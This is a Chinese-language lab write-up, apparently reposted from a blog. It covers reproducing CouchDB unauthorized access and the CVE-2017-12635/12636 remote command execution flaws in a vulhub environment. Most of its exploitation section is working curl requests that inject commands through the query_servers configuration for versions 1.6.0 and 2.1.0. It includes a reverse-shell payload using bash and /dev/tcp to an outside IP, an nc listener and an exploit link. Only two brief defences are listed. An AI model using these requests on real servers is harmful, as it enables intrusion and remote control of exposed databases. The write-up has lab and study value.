CouchDB未授权访问漏洞记录(端口:5984、6984,CVE-2017-12635,CVE-2017-12636)复现失败
復現exp失敗
?
漏洞簡介以及危害
Apache CouchDB是一個開源數據庫,專注于易用性和成為”完全擁抱web的數據庫”。它是一個使用JSON作為存儲格式,JavaScript作為查詢語言,MapReduce和HTTP作為API的NoSQL數據庫。
應用廣廣泛,如BBC用在其動態內容展示平臺,Credit Suisse用在其內部的商品部?的市場框架,Meebo,用在其社交平臺(web和應用程序),默認會在5984端口開放Restful的API接口口,如果使用
SSL的話就會監聽在6984端口,用于數據庫的管理功能。其HTTP Server默認開啟時沒有進行行行驗證,而且綁定在0.0.0.0,所有用戶均可通過API訪問導致未授權訪問。
在官方方配置文文檔中對HTTP Server的配置有WWW-Authenticate:Set this option to trigger
basic-auth popup on unauthorized requests,但是很多用戶都沒有這么配置,導致漏洞產生。
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一個任意命令執行漏洞,我們可以通過config api修改couchdb的配置query_server,這個配置項在設計、執行view的時候將被運行。
影響版本
小于 1.7.0 以及 小于 2.1.1
漏洞環境
vulnhub
Couchdb 2.x和和1.x的API接口有一定區別,所以這個漏洞的利用方式也不同。本環境啟動的是1.6.0版本,如果你想測試2.1.0版本,可以啟動CVE-2017-12635
漏洞利用
CVE-2017-12636是需要登錄用戶方可觸發,如果不知道目標管理員密碼,可以利CVE-2017-12635CVE-017-12635先【增加一個管理員用戶】,如果無須帳號密碼,就可通過未授權訪問進行命令執行
同樣,記得在Burp的攔截端口添加一個5984
進入環境,并啟動
cd couchdb/CVE-2017-12636/ docker-compose up -d未授權訪問測試
curl http://192.168.0.100:5984 curl http://192.168.0.100:5984/_config任意命令執行漏洞
# 本機python運行http服務(可以不運行這個步驟,這里只是做curl測試用的) python -m SimpleHTTPServer 88881.6.0 下
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"' curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest' curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}' curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'反彈寫法(第一個請求修改)
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/merver' -d '"bash -i >& /dev/tcp/115.159.150.2/1231 0>&1"'nc -lvp 1231其中,`vulhub:vulhub`為管理員賬號密碼。
第一個請求是添加一個名字為`cmd`的`query_servers`,其值為`"id >/tmp/success"`,這就是我們后面待執行的命令。
第二、三個請求是添加一個Database和Document,這里添加了后面才能查詢。
第四個請求就是在這個Database里進行查詢,因為我將language設置為`cmd`,這里就會用到我第一步里添加的名為`cmd`的`query_servers`,最后觸發命令執行。
2.1.0 下
# 2.1.0中修改了1.6.0用到的兩個API # Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。我們帶上賬號密碼訪問/_membership即可 curl http://<your-ip>:5984/_membership# 利用(跟1.6.0類似) curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/CVE-2017-12636_is_success"' curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest' #先增加一個Database和一個Document curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}' #Couchdb 2.x刪除了_temp_view,所以我們為了觸發query_servers中定義的命令,需要添加一個_view curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json" #增加_view的同時即觸發了query_servers中的命令。exp地址
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.pynmap掃描
nmap -p 5984 --script "couchdb-stats.nse" <target_ip>防御手段
- 綁定指定ip
- 設置訪問密
總結
以上是生活随笔為你收集整理的CouchDB未授权访问漏洞记录(端口:5984、6984,CVE-2017-12635,CVE-2017-12636)复现失败的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 前端知识复习(一)
- 下一篇: Shell 二进制转十进制